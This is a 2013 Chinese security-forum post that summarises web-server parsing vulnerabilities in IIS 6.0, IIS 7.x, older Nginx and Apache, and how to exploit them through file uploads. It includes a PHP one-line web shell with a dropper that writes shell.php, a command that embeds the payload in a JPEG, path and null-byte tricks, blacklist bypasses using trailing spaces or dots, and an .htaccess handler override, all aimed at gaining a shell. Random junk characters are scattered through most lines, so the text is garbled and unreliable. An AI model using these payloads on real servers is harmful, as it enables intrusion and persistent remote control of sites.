找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2638|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
) }( J' O# F" Q. M* v[+]IIS6.03 H$ s9 K% o8 }
+ y9 h9 H/ f8 w7 B4 g
目录解析:/xx.asp/xx.jpg : W7 k. e) B6 i1 ~
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码# e% e; R2 Y6 ^8 \. y, ~; }; y
IIS6.0 会将 xx.jpg 解析为 asp 文件。
) F# q" a9 N6 z+ `后缀解析:/xx.asp;.jpg     : F* w; ?* e* y% c5 r( P, E
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
$ y3 G9 D- ^; s/ k$ ^默认解析:/xx.asa
/ \# v, H& o8 B; p6 s( F7 J. P) e         /xx.cer
, ]( E' Q- U; y9 T/ d; D! a         /xx.cdx) C1 K5 K0 ]% }+ D1 j5 `! n( Y
IIS6.0 默认的可执行文件除了 asp 还包含这三种1 P4 z& _+ f  X- i1 j
此处可联系利用目录解析漏洞
; C# X  K) c! `& w0 s1 a6 r2 }/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg+ N. A) J8 M3 r9 o' v& f
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
  t' r/ L) I7 P& Y* N$ q7 U ) N. U! H& @& v* J7 _$ w4 Y
IIS 7.0/IIS 7.5/Nginx <0.8.03. A: J1 D( k$ C$ t. |7 f9 Y: U
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
# ]' @6 y# P) R  v3 Q9 | 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。4 T+ I: ]$ z4 k8 [
常用利用方法:! ?! n! c# K$ S( Q/ w
将一张图和一个写入后门代码的文本文件合并将恶意文本
. D; A( c; X, J9 I' } 写入图片的二进制代码之后,避免破坏图片文件头和尾' S4 R; A& Q8 S& S' ]
如:
) @+ R8 ?! k9 U+ F' v copy xx.jpg /b + yy.txt/a xy.jpg
4 @/ h2 o8 j' G$ ]' [ #########################################################
2 g3 u9 Y! B0 o. S. G /b 即二进制[binary]模式
0 m' g3 o; Y& ^% b/ t /a 即ascii模式
$ ~( _2 J$ \% g: ]! l xx.jpg 正常图片文件
  [' q1 O, H; E8 ~& |3 a yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
, D- d9 h0 {6 x' L4 [ '<?php eval($_POST[cmd])?>');?>3 J6 D9 z8 B$ ?8 \1 z  k
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
6 ~, E8 ?" y, C' p 为shell.php的文件1 w3 {" V/ `5 n) b4 B) b# ~
###########################################################- g; `. D. s6 c2 P4 V. A9 B, g# E
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
' J, z- T; Z" h; q+ T4 y 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 9 m' N8 u: |) Y. x
密码 cmd! }: R& Z. C5 ?+ N5 b$ M
[+]Nginx <0.8.03
0 y" n8 ]/ A4 j6 {3 y5 \7 b, \ - `5 i3 e9 o/ W5 k( [; {
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞' j3 n% l/ |" _3 [, }" A  M$ y
在一个文件路径(/xx.jpg)后面加上%00.php0 c- ]2 ~" T8 k& K- N' H4 r" G
会将 /xx.jpg%00.php 解析为 php 文件。
9 m+ v( n4 ]: e9 c7 Y. H[+]Apache<0.8.03
$ l1 o8 |: j: x' q- n4 o8 b , ~" C) ~0 }- Q. j, R* X
后缀解析:test.php.x1.x2.x3+ |: ]4 e2 `0 G
Apache将从右至左开始判断后缀,若x3非可识别后缀,
& F. w; d4 v" f1 s) A7 l$ d# O 再判断x2,直到找到可识别后缀为止,然后将该可识别
( n! i4 r( D/ L  {/ }7 N 后缀进解析test.php.x1.x2.x3 则会被解析为php
! p  m9 k% m& e7 ?7 m 经验之谈:php|php3|phtml 多可被Apache解析。
1 v0 N5 u! [% |[+]其他一些可利用的( Y6 w: M& @# _, T, L/ v

7 P( U$ V0 A9 F7 {在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
) x* \3 V0 l2 h) k若这样命名,windows会默认除去空格或点,这也是可以被利用的!6 {0 `1 C5 z3 b  v2 a7 Q3 g
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格7 V% G, @% {3 C# ?+ F
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可" D3 Y! C7 H9 T$ h
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。4 C. M. T* J8 _, B3 f
{Linux主机中不行,Linux允许这类文件存在}
3 F* p, j9 ]6 J5 C5 ^6 ?% v如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
( `: k5 q' ^, O& D的,当初我并不知道),且可以被上传,那可以尝试在) R) @6 s9 a' X; B% }( f
.htaccess中写入:1 B5 |; T5 t; E
<FilesMatch “shell.jpg”>
4 n& A$ K, {4 ~8 s. V0 Q* QSetHandler application/x-httpd-php + Q; R! y3 q  }% B
</FilesMatch>
3 f8 l  r) X8 Y( X1 z6 v1 ?2 h* lshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
5 W8 J4 x6 x! ]' Z' v[+]错误修改0 ?- a: M' d: O1 M3 i. H0 e' f
- P; b. R0 M: o9 E: T
在 IIS 6.0 下可解析 /xx.asp:.jpg
5 @4 u. b6 C- S{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去, s! X: }0 Q! [7 o) y
剩下/xx.asp}修改:
& L; F6 D1 ~: y1 @% Q: Y先谢谢核攻击的提醒
' b6 v' e3 I- N5 [, p5 x, x* G8 U当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
' c' F1 W& M7 {5 ~! m6 _  y- C里是没有任何内容的,因为。。不好解释 大家自己看4 c: s! Y" C% s% X/ ?: l# i+ p
http://lcx.cc/?i=2448
- h: g% X: r2 M) q) b, Nhttp://baike.baidu.com/view/3619593.htm4 o8 B, ?+ H" \! X4 Q

# J+ u3 _1 B6 C3 t# a. I" x( E2 v: i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表